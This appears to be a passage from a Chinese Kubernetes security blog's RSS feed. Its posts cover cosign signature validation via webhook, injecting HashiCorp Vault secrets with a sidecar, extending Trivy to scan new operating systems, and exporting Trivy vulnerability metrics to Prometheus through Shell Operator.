&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;parser = argparse.ArgumentParser(description=&#39;Pod hook for Shell-Operator&#39;)
parser.add_argument(&#39;--config&#39;, action=&#39;store_true&#39;)
args = parser.parse_args()
CONFIG_FILE = os.getenv(&amp;quot;CONFIG_FILE&amp;quot;, &amp;quot;/etc/cosign-validator/config.yaml&amp;quot;)

if args.config:
    with open(CONFIG_FILE) as cfg:
        print(&amp;quot;&amp;quot;.join(cfg.readlines()))
    sys.exit(0)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;公钥文件保存在 Secret 里，这里假设我们加载为 &lt;code&gt;/etc/cosign-keys/cosign.pub&lt;/code&gt;，就可以用如下代码进行校验：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;# 响应文件名称
RESPONSE_FILE = os.getenv(&amp;quot;VALIDATING_RESPONSE_PATH&amp;quot;)
...
    key_file = &amp;quot;/etc/cosign-keys/cosign.pub&amp;quot;
    for container in json_obj[0][&amp;quot;review&amp;quot;][&amp;quot;request&amp;quot;][&amp;quot;object&amp;quot;][&amp;quot;spec&amp;quot;][&amp;quot;template&amp;quot;][&amp;quot;spec&amp;quot;][&amp;quot;containers&amp;quot;]:
        image = container[&amp;quot;image&amp;quot;]
        try:
            # TODO: Read public key name from annotation
            subprocess.check_call([
                &amp;quot;/usr/local/bin/cosign&amp;quot;,
                &amp;quot;verify&amp;quot;, &amp;quot;-key&amp;quot;, key_file, image])
        except subprocess.CalledProcessError:
            message = image
            break
...
with open(RESPONSE_FILE, &amp;quot;w&amp;quot;) as writer:
    if len(message) == 0:
        writer.write(&#39;{&amp;quot;allowed&amp;quot;:true}&#39;)
    else:
        content = &#39;{&amp;quot;allowed&amp;quot;:false, &amp;quot;message&amp;quot;:&amp;quot;The image &#39; + message +&#39; is not signed properly&amp;quot;}&#39;
        writer.write(content)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;主体代码之后，就需要考虑如何部署了，首先要生成 Docker 镜像：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;# 一段构建，生成 cosign
FROM golang:1.16.2-alpine3.13 as builder
RUN apk add --no-cache git=2.30.2-r0
RUN go install github.com/sigstore/cosign/cmd/cosign@v0.1.0
# 二段构建，加入代码到 hooks 目录
FROM flant/shell-operator:v1.0.0-rc.2
RUN apk --no-cache add python3=3.8.8-r0
COPY --from=builder /go/bin/cosign /usr/local/bin
COPY cosign-validation.py /hooks
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Webhook 需要根据服务名称等信息生成证书用于和 API Server 之间的通信过程，此处略过，可以直接参看源代码。另外为了能够注册服务，还需要一个具备权限的 ClusterRole：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: cosign-validator
rules:
- apiGroups: [&amp;quot;admissionregistration.k8s.io&amp;quot;]
  resources:
  - validatingwebhookconfigurations
  verbs:
  - list
  - create
  - update
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这些对象和证书可以用 Helm Chart 组织起来，进行集成安装部署。&lt;/p&gt;

&lt;p&gt;部署成功后，可以尝试分别使用签名和未签名镜像进行部署，会看到未签名镜像会被拒绝。详细操作和测试过程可以参见视频。&lt;/p&gt;


&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;
  &lt;iframe src=&#34;https://www.youtube.com/embed/sIzLREmMu8k&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; allowfullscreen title=&#34;YouTube Video&#34;&gt;&lt;/iframe&gt;
&lt;/div&gt;


&lt;p&gt;项目代码：&lt;code&gt;https://github.com/fleeto/sign-validator&lt;/code&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>在 Kubernetes 读取 Vault 中的机密信息</title>
      <link>/post/secret-in-vault/</link>
      <pubDate>Wed, 14 Apr 2021 15:03:13 +0800</pubDate>
      <guid>/post/secret-in-vault/</guid>
      <description>

&lt;p&gt;在 Kubernetes 中，我们通常会使用 Secret 对象来保存密码、证书等机密内容，然而 kubeadm 缺省部署的情况下，Secret 内容是用明文方式存储在 ETCD 数据库中的。能够轻松的用 etcdctl 工具获取到 Secret 的内容。通过修改 &lt;code&gt;--encryption-provider-config&lt;/code&gt; 参数可以使用静态加密或者 KMS Server 的方式提高 Secret 数据的安全性，这种方式要求修改 API Server 的参数，在托管环境下可能没有那么方便，Hashicorp Vault 提供了一个变通的方式，用 Sidecar 把 Vault 中的内容加载成为业务容器中的文件。&lt;/p&gt;

&lt;h2 id=&#34;安装和启动-vault&#34;&gt;安装和启动 Vault&lt;/h2&gt;

&lt;p&gt;官网提供了各种系统中的安装指导，例如 CentOS 中可以用包管理器来安装：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ yum install -y yum-utils
$ yum-config-manager --add-repo https://rpm.releases.hashicorp.com/RHEL/hashicorp.repo
$ yum -y install vault
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;安装结束后，就可以启动一个开发服务器了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ vault server -dev -dev-root-token-id root -dev-listen-address [主机地址]:8200
...
WARNING! dev mode is enabled! In this mode, Vault runs entirely in-memory
...
You may need to set the following environment variable:

    $ export VAULT_ADDR=&#39;http://9.134.14.252:8200&#39;

The unseal key and root token are displayed below in case you want to
seal/unseal the Vault or re-authenticate.

Unseal Key: rpn1ad4t3B4OeUFRAJWUjcmsCmCcEJFaPFjWLbs0IFM=
Root Token: root
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的命令中，指定了登录 Token 为 &lt;code&gt;root&lt;/code&gt;，监听地址为 &lt;code&gt;[主机地址]:8200&lt;/code&gt;，返回信息中也有提示，&lt;strong&gt;开发服务的内容是保存在内存中的，无法适应生产环境的应用&lt;/strong&gt;。&lt;/p&gt;

&lt;h2 id=&#34;写入测试数据&#34;&gt;写入测试数据&lt;/h2&gt;

&lt;p&gt;首先登陆 Vault：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ vault login root
Success! You are now authenticated. The token information displayed below
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后创建测试数据：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;vault kv put secret/devwebapp/config username=&#39;giraffe&#39; password=&#39;salsa&#39;
Key              Value
---              -----
created_time     2020-08-11T16:59:42.076636Z
deletion_time    n/a
destroyed        false
version          1
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;在-kubernetes-中引入-vault-服务&#34;&gt;在 Kubernetes 中引入 Vault 服务&lt;/h2&gt;

&lt;p&gt;在 Kubernetes 中可以为 Vault 创建 Endpoint 和 Service，用于为集群内提供服务：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Service
metadata:
  name: external-vault
  namespace: default
spec:
  ports:
  - protocol: TCP
    port: 8200
---
apiVersion: v1
kind: Endpoints
metadata:
  name: external-vault
subsets:
  - addresses:
      - ip: [主机地址]
    ports:
      - port: 8200
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样我们就给外部的 Vault 服务创建了一个集群内的服务端点。接下来创建一个 Deployment 来测试读取数据：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  name: devwebapp-through-service
  labels:
    app: devwebapp-through-service
spec:
  replicas: 1
  selector:
    matchLabels:
      app: devwebapp-through-service
  template:
    metadata:
      labels:
        app: devwebapp-through-service
    spec:
      containers:
      - name: app
        image: burtlo/devwebapp-ruby:k8s
        imagePullPolicy: Always
        env:
        - name: SERVICE_PORT
          value: &amp;quot;8080&amp;quot;
        - name: VAULT_ADDR
          value: &amp;quot;http://external-vault:8200&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个镜像中会使用我们预先设置的开发 Token 来访问 Vault 服务，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec \
    $(kubectl get pod --selector=&#39;app=devwebapp-through-service&#39; --output=&#39;jsonpath={.items[0].metadata.name}&#39;) \
    -- curl -s localhost:8080 ; echo
{&amp;quot;password&amp;quot;=&amp;gt;&amp;quot;salsa&amp;quot;, &amp;quot;username&amp;quot;=&amp;gt;&amp;quot;giraffe&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;安装-vault-注入器&#34;&gt;安装 Vault 注入器&lt;/h2&gt;

&lt;p&gt;使用 Helm 进行安装：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ helm repo add hashicorp https://helm.releases.hashicorp.com
&amp;quot;hashicorp&amp;quot; has been added to your repositories
$ helm install vault hashicorp/vault \
    --set &amp;quot;injector.externalVaultAddr=http://external-vault:8200&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个安装器会创建 RBAC 相关内容，MutatingWebhook 以及用于执行注入的 Deployment 和 Service。&lt;/p&gt;

&lt;h2 id=&#34;对接-kubernetes-认证&#34;&gt;对接 Kubernetes 认证&lt;/h2&gt;

&lt;p&gt;接下来要让 Vault 接收并许可来自 Kubernetes 的请求：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# 获取 ServiceAccount 的 Token
$ VAULT_HELM_SECRET_NAME=$(kubectl get secrets --output=json | jq -r &#39;.items[].metadata | select(.name|startswith(&amp;quot;vault-token-&amp;quot;)).name&#39;)

# 启用认证方式
$ vault auth enable kubernetes
Success! Enabled kubernetes auth method at: kubernetes/

# 获取 Token 内容
$ TOKEN_REVIEW_JWT=$(kubectl get secret $VAULT_HELM_SECRET_NAME --output=&#39;go-template={{ .data.token }}&#39; | base64 --decode)

# 获取 Kubectl 的 CA 证书
$ KUBE_CA_CERT=$(kubectl config view --raw --minify --flatten --output=&#39;jsonpath={.clusters[].cluster.certificate-authority-data}&#39; | base64 --decode)

# 获取 API Server 的地址
$ KUBE_HOST=$(kubectl config view --raw --minify --flatten --output=&#39;jsonpath={.clusters[].cluster.server}&#39;)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;准备工作完成之后，就可以把这个认证配置写入 Vault：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ vault write auth/kubernetes/config \
        token_reviewer_jwt=&amp;quot;$TOKEN_REVIEW_JWT&amp;quot; \
        kubernetes_host=&amp;quot;$KUBE_HOST&amp;quot; \
        kubernetes_ca_cert=&amp;quot;$KUBE_CA_CERT&amp;quot;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;编写读取策略：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ vault policy write devwebapp - &amp;lt;&amp;lt;EOF
path &amp;quot;secret/data/devwebapp/config&amp;quot; {
  capabilities = [&amp;quot;read&amp;quot;]
}
EOF
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;为 Kubernetes 创建授权角色：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ vault write auth/kubernetes/role/devweb-app \
        bound_service_account_names=internal-app \
        bound_service_account_namespaces=default \
        policies=devwebapp \
        ttl=24h
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;注入-sidecar&#34;&gt;注入 Sidecar&lt;/h2&gt;

&lt;p&gt;在测试 Deployment 中加入注解：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...
spec:
  template:
    metadata:
      annotations:
        vault.hashicorp.com/agent-inject: &amp;quot;true&amp;quot;
        vault.hashicorp.com/role: &amp;quot;devweb-app&amp;quot;
        vault.hashicorp.com/agent-inject-secret-credentials.txt: &amp;quot;secret/data/devwebapp/config&amp;quot;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的注解表明，使用 &lt;code&gt;devweb-app&lt;/code&gt; 角色，读取 &lt;code&gt;secret/data/devwebapp/config&lt;/code&gt; 中的数据，保存到 &lt;code&gt;/vault/secrets&lt;/code&gt; 目录的 &lt;code&gt;credentials.txt&lt;/code&gt; 文件之中。&lt;/p&gt;

&lt;p&gt;修改之后，等新的 Pod 启动成功。验证一下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec -it \
    $(kubectl get pod --selector=&#39;app=devwebapp&#39; --output=&#39;jsonpath={.items[0].metadata.name}&#39;) \
    -c app -- cat /vault/secrets/credentials.txt
data: map[password:salsa username:giraffe]
metadata: map[created_time:2019-12-20T18:17:50.930264759Z deletion_time: destroyed:false version:2]
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;后记&#34;&gt;后记&lt;/h2&gt;

&lt;p&gt;这实际上是&lt;a href=&#34;https://learn.hashicorp.com/tutorials/vault/kubernetes-external-vault&#34; target=&#34;_blank&#34;&gt;官方案例&lt;/a&gt;的一个翻译，另外 Vault 也提供了基于 &lt;a href=&#34;https://github.com/kubernetes-sigs/secrets-store-csi-driver&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;secrets-store-csi-driver&lt;/code&gt;&lt;/a&gt; 的挂载方案供选用。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>用 Trivy 扫描新操作系统的漏洞</title>
      <link>/post/trivy-and-new-os/</link>
      <pubDate>Fri, 09 Apr 2021 23:37:02 +0800</pubDate>
      <guid>/post/trivy-and-new-os/</guid>
      <description>

&lt;p&gt;&lt;a href=&#34;https://github.com/aquasecurity/trivy&#34; target=&#34;_blank&#34;&gt;Trivy&lt;/a&gt; 是个来自 &lt;a href=&#34;https://www.aquasec.com/&#34; target=&#34;_blank&#34;&gt;Aqua Security&lt;/a&gt;的漏洞扫描系统，现已经被 Github Action、Harbor 等主流工具集成，能够非常方便的对镜像进行漏洞扫描，其扫描范围除了操作系统及其包管理系统安装的软件包之外，最近还加入了对 Ruby、PHP 等的漏洞检测，应该是该领域目前目前采用最广的开源工具之一了。&lt;/p&gt;

&lt;p&gt;在我们使用 Trivy 对系统进行扫描加固的时候，遇到了一个问题，openEuler 这样的年轻操作系统，还没被 Trivy 接入其数据库之中，如何能借助这样的主流工具进行漏洞扫描呢？&lt;/p&gt;

&lt;p&gt;漏洞的发现、处理、披露是个复杂的流程，下面引文来自我的译作《容器安全》（《Container Security: Fundamental Technology Concepts that Protect Containerized Applications 1st Edition》(Liz Rice)）：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;一旦发现了新的漏洞，赛跑就开始了，系统管理员必须抢先修复漏洞，否则就可能遭受针对性的攻击。如果直接公开发布新问题，就相当于为攻击者开启了利用漏洞的自由竞赛。为了避免这种情况发明了一个概念，叫做负责任的安全披露。发现漏洞的安全研究人员会联系相关软件的开发者或供应商。双方商定一个时限，在这个时限之后，研究人员可以公布他们的发现。在这里，对供应商来说，有一些积极的压力，要求他们努力及时提供修复，因为在公布之前提供修复，对供应商和用户都有好处。
新发现的问题会有一个唯一标示符，前缀为 CVE，是 Common Vulnerabilities and Exposures 的缩写，CVE 后面是年份代码。例如 ShellShock 漏洞是 2014 年被发现的，其标示符为 CVE-2014-6271。管理这些编码的机构是 &lt;a href=&#34;https://mitre.org/&#34; target=&#34;_blank&#34;&gt;MITRE&lt;/a&gt;，MITRE 监管着一些 CVE 编码授权机构（简称 CNA），CNA 能够在特定领域中签发 CVE ID。有些大型软件商（例如微软、红帽以及 Oracle）就是 CNA， 能在各自产品范围内授予 CVE 编码。Github 在 2019 年末也获得了 CNA 资格。
在 &lt;a href=&#34;https://nvd.nist.gov/&#34; target=&#34;_blank&#34;&gt;NVD（National Vulnerability Database（国家漏洞数据库））&lt;/a&gt; 中使用 CVE 编码跟踪受到该漏洞影响的软件包和版本。有了受影响的软件包版本的列表，所以如果当前使用的软件版本出现在这个列表里，是不是代表当前环境已经受到影响了？并不一定，这和当前使用的 Linux 发行版是相关的，可能发行版自身已经针对该软件包发布了一个补丁版本。
以 ShellShock 为例。这是一个存在于 GNU Bash 中的严重漏洞。&lt;a href=&#34;https://nvd.nist.gov/vuln/detail/CVE-2014-6271&#34; target=&#34;_blank&#34;&gt;NVD 上的 CVE-2014-6271 页面&lt;/a&gt;里列出了一个很长的列表，覆盖了从 1.14.0 到 4.3 的版本范围。如果运行一个旧版本的 Ubuntu 12.04 并且发现其中的 Bash 版本是 4.2-2ubuntu2.2，你可能会认为这是一个基于 bash 4.2 的版本，属于受影响之列。
实际上根据 &lt;a href=&#34;https://ubuntu.com/security/notices/USN-2362-1&#34; target=&#34;_blank&#34;&gt;Ubuntu 的官方说法&lt;/a&gt;，这个版本已经修复了该漏洞，是安全的。Ubuntu 维护者认为，与其让所有 12.04 用户升级到全新的 bash 版本，不如单独进行补丁并发布一个小的补丁版本。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;因此扫描工具除了需要关注 CVE 的通用信息之外，更重要的是引入发行版开发商的安全数据库，才能准确地完成扫描任务。&lt;/p&gt;

&lt;h2 id=&#34;trivy-的基本功能&#34;&gt;Trivy 的基本功能&lt;/h2&gt;

&lt;h3 id=&#34;trivy-工具链&#34;&gt;Trivy 工具链&lt;/h3&gt;

&lt;p&gt;Trivy 自身只是一个扫描工具，实际上支撑这个工具的还有一个工具链，多种工具/库的协同，完成了从 CVE 到扫描识别的各个环节，其中包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;vuln-list-update&lt;/code&gt;：负责更新各个来源的威胁数据，转换成 JSON 数据，保存在 &lt;code&gt;vuln-list&lt;/code&gt; 项目之中。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;trivy-db&lt;/code&gt;：既是工具，也是库，用于操作 Trivy 的数据库。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fanal&lt;/code&gt;：从 &lt;code&gt;vuln-list&lt;/code&gt; 获取数据，并构建成 bbolt 格式的数据库文件，可以用 upload 命令上传到 Github Release。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Trivy&lt;/code&gt;：获取 trivy-db 的 Release 数据，进行漏洞扫描工作。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;综上所述，Trivy 的总体工作流程：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;从操作系统厂商等 CVE 源获取数据，使用 &lt;code&gt;vuln-list-update&lt;/code&gt; 脚本进行汇总，转换为一致的 JSON 数据，保存到 &lt;code&gt;vuln-list&lt;/code&gt; 项目。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;trivy-db&lt;/code&gt; 从 &lt;code&gt;vuln-list&lt;/code&gt; 下载数据，转换为 bbolt 格式，发布到 &lt;code&gt;trivy-db&lt;/code&gt; 的 Release。&lt;/li&gt;
&lt;li&gt;Trivy 下载 &lt;code&gt;trivy-db&lt;/code&gt; 数据，作为本地检测的数据源。&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&#34;trivy-的扫描流程&#34;&gt;Trivy 的扫描流程&lt;/h3&gt;

&lt;p&gt;Trivy 首先会使用 Fanal 对待扫描镜像进行检测，Fanal 会根据基础镜像哈希码查询缓存（MACOS 中是 &lt;code&gt;~/Library/Caches/trivy/fanal/fanal.db&lt;/code&gt;）中是否保存了对应的“哈希-操作系统”记录，如果没有，则会解压基础镜像层，遍历其中文件，并根据其 &lt;code&gt;analyzer&lt;/code&gt; 中包含的各个操作系统的文件特征来判断基础镜像的操作系统，例如 Alpine 的特征文件是 &lt;code&gt;etc/alpine-release&lt;/code&gt;，而 Photon 的特征文件是 &lt;code&gt;usr/lib/os-release&lt;/code&gt; 和 &lt;code&gt;etc/os-release&lt;/code&gt;；如果有，则直接从缓存数据中取出对应的操作系统名称和版本。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ospkg&lt;/code&gt; 中的 &lt;code&gt;detect.go&lt;/code&gt; 中硬编码了操作系统和扫描器的对应关系，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-golang&#34;&gt;case fos.RedHat, fos.CentOS:
  return redhat.NewScanner()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;确定了具体的扫描器之后，就会调用具体的扫描器，根据漏洞库 &lt;code&gt;~/Library/Caches/trivy/db/trivy.db&lt;/code&gt; 作为数据源进行扫描。&lt;/p&gt;

&lt;h2 id=&#34;扫描新操作的方法&#34;&gt;扫描新操作的方法&lt;/h2&gt;

&lt;h2 id=&#34;篡改-fanal-缓存&#34;&gt;篡改 Fanal 缓存&lt;/h2&gt;

&lt;p&gt;如果我们假设新系统可以和 Redhat 8 共享同样的漏洞库，就可以直接在 Fanal 缓存中加入 新的的镜像关系，对应到 Redhat 8 上，就能够进行扫描了，例如：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/photo_2021-04-11_21-21-06.jpg&#34; alt=&#34;fake&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;正式一点的方式&#34;&gt;正式一点的方式&lt;/h2&gt;

&lt;p&gt;篡改缓存的扫描方法是非常不负责的，这大概不会代表真实的操作系统安全现状。根据上文工具链的介绍，应该能清楚地了解到这个过程：&lt;/p&gt;

&lt;p&gt;首先要 Fork &lt;code&gt;vuln-list-update&lt;/code&gt;，其中加入新操作系统的数据源，并转换为通用格式，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-JSON&#34;&gt;{
    ...
 &amp;quot;cwe&amp;quot;: &amp;quot;CWE-120&amp;quot;,
  &amp;quot;statement&amp;quot;: &amp;quot;&amp;quot;,
  &amp;quot;acknowledgement&amp;quot;: &amp;quot;&amp;quot;,
  &amp;quot;name&amp;quot;: &amp;quot;CVE-2021-0326&amp;quot;,
  &amp;quot;document_distribution&amp;quot;: &amp;quot;&amp;quot;,
  &amp;quot;details&amp;quot;: [
    &amp;quot;In p2p_copy_client_info of p2p.c, there is a possible out of bounds write due to a missing bounds check. This could lead to remote code execution if the target device is performing a Wi-Fi Direct search, with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-8.1 Android-9Android ID: A-172937525&amp;quot;
  ],
  &amp;quot;references&amp;quot;: [
    &amp;quot;https://w1.fi/security/2020-2/wpa_supplicant-p2p-group-info-processing-vulnerability.txt&amp;quot;
  ]
  ...
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来要修改 Fanal，除了在其中加入新系统的甄别方法，例如 &lt;code&gt;/etc/openEuler-release&lt;/code&gt; 的解析过程。&lt;/p&gt;

&lt;p&gt;然后是创建新操作系统的扫描器，基本上可以参照 Debian/Redhat/Alpine 几个大体系的扫描器完成工作。&lt;/p&gt;

&lt;p&gt;上述工作可以通过分叉的方式自己独立运行，也可以通过 PR 的方式回馈给 Trivy 项目组，公开成为通用的扫描方案。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>借助 Shell Operator 监控集群中的镜像漏洞</title>
      <link>/post/monitoring-vulnerabilities/</link>
      <pubDate>Tue, 30 Mar 2021 22:14:50 +0800</pubDate>
      <guid>/post/monitoring-vulnerabilities/</guid>
      <description>&lt;p&gt;在&lt;a href=&#34;https://blog.fleeto.us/post/copy-labels-from-node-to-pod-by-shell-operator/&#34; target=&#34;_blank&#34;&gt;使用 Shell-Operator，让 Pod 继承节点标签&lt;/a&gt;一文中，展示了使用 &lt;a href=&#34;https://github.com/flant/shell-operator&#34; target=&#34;_blank&#34;&gt;Shell Operator&lt;/a&gt; 在创建工作负载时从对应节点拷贝指定标签的方法。Shell Operator 还有个功能就是生成 Prometheus Metrics，本文就是从这个角度出发，用 Shell Operator 定时调用 &lt;a href=&#34;https://github.com/aquasecurity/trivy&#34; target=&#34;_blank&#34;&gt;Trivy&lt;/a&gt; 扫描指定命名空间下的所有在用镜像，并输出指标给 Prometheus，最终可以进行展示和告警。&lt;/p&gt;

&lt;p&gt;Shell Operator 除了上次提到的根据 Kubernetes 事件进行触发之外，还包含了在启动时和定期运行两种触发方式，这里我们用定时触发的方式：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;configVersion: v1
schedule:
- name: &amp;quot;scan images each 5 min&amp;quot;
  crontab: &amp;quot;*/5 * * * *&amp;quot;
  allowFailure: true
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里我定义了一个 5 分钟触发一次的任务。镜像接受一个缺省为 &lt;code&gt;NS_LABEL=&amp;quot;trivy=true&amp;quot;&lt;/code&gt; 的标签，每次触发时，会根据这个标签选择命名空间，获取选定命名空间中运行的镜像，并调用 &lt;code&gt;trivy i -f json [image]&lt;/code&gt; 输出结果，将结果转换为 Prometheus 指标进行输出。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM flant/shell-operator:v1.0.0-rc.2
ENV TRIVY_CACHE_DIR=/data/trivy \
    TRIVY_QUIET=true \
    GITHUB_TOKEN=&amp;quot;&amp;quot; \
    NS_LABEL=&amp;quot;trivy=true&amp;quot;
RUN apk --no-cache add python3=3.8.8-r0
COPY trivy-scanner.py /hooks
COPY trivy /usr/local/bin
VOLUME [ &amp;quot;/data/trivy&amp;quot;, &amp;quot;/data/cache&amp;quot; ]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上文中的几个环境变量：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;TRIVY_CACHE_DIR：指定 Trivy 缓存目录，可以在 Kubernetes 中把 Trivy 工作目录持久化。&lt;/li&gt;
&lt;li&gt;TRIVY_QUIET：Trivy 环境变量，指定 Trivy 用静默方式运行。&lt;/li&gt;
&lt;li&gt;GITHUB_TOKEN：Trivy 会使用该 Token 更新漏洞库，防止触发 Rate Limit。&lt;/li&gt;
&lt;li&gt;NS_LABLE：仅对符合标签的命名空间进行扫描。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在脚本中执行的任务还是很简单的三部曲：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;kubectl get ns&lt;/li&gt;
&lt;li&gt;kubectl get po&lt;/li&gt;
&lt;li&gt;trivy&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;可以看到这里需要列表查看 Namespace 和 Pod 对象，因此我们的 RBAC 需要进行相应的配置，例如设置 ClusterRole：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: trivy-scanner
rules:
- resources:
  - pods
  - namespaces
  verbs:
  - get
  - watch
  - list
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;实际上也可以通过之前用到的 Kubernetes 事件进行触发。因此这里还保留了 watch 事件。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Deployment 需要注意一点是，Shell Operator 使用 9115 端口的 &lt;code&gt;/metrics&lt;/code&gt; 开放指标数据供 Prometheus 抓取，因此需要使用 &lt;code&gt;annotations&lt;/code&gt; 对此进行标注。&lt;/p&gt;

&lt;p&gt;使用 Trivy 获取到 JSON 格式出具的扫描结果之后，就可以利用 Shell Operator 的指标输出能力，把数据整理为如下格式：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{&amp;quot;name&amp;quot;:&amp;quot;so_vulnerabilities&amp;quot;,&amp;quot;set&amp;quot;:0,&amp;quot;labels&amp;quot;:{&amp;quot;image&amp;quot;:&amp;quot;dustise/sleep:v0.9.6&amp;quot;,&amp;quot;severity&amp;quot;:&amp;quot;UNKNOWN&amp;quot;}}
{&amp;quot;name&amp;quot;:&amp;quot;so_vulnerabilities&amp;quot;,&amp;quot;set&amp;quot;:1,&amp;quot;labels&amp;quot;:{&amp;quot;image&amp;quot;:&amp;quot;dustise/sleep:v0.9.6&amp;quot;,&amp;quot;severity&amp;quot;:&amp;quot;HIGH&amp;quot;}}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;每行一条记录，输出到 &lt;code&gt;$METRICS_PATH&lt;/code&gt; 环境变量指定的文本文件中，Shell Operator 会把它转换为 Prometheus 指标：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;so_vulnerabilities{hook=&amp;quot;trivy-scanner.py&amp;quot;,image=&amp;quot;dustise/sleep:v0.9.6&amp;quot;,severity=&amp;quot;CRITICAL&amp;quot;} 1
so_vulnerabilities{hook=&amp;quot;trivy-scanner.py&amp;quot;,image=&amp;quot;dustise/sleep:v0.9.6&amp;quot;,severity=&amp;quot;HIGH&amp;quot;} 11
so_vulnerabilities{hook=&amp;quot;trivy-scanner.py&amp;quot;,image=&amp;quot;dustise/sleep:v0.9.6&amp;quot;,severity=&amp;quot;LOW&amp;quot;} 2
so_vulnerabilities{hook=&amp;quot;trivy-scanner.py&amp;quot;,image=&amp;quot;dustise/sleep:v0.9.6&amp;quot;,severity=&amp;quot;MEDIUM&amp;quot;} 9
so_vulnerabilities{hook=&amp;quot;trivy-scanner.py&amp;quot;,image=&amp;quot;dustise/sleep:v0.9.6&amp;quot;,severity=&amp;quot;UNKNOWN&amp;quot;} 0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来就可以在 Prometheus 中检查输出内容，出具监控图表或者制定告警规则了。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>在 Kubernetes 中防范 CVS-2016-2183</title>
      <link>/post/k8s-and-cvs-2016-2183/</link>
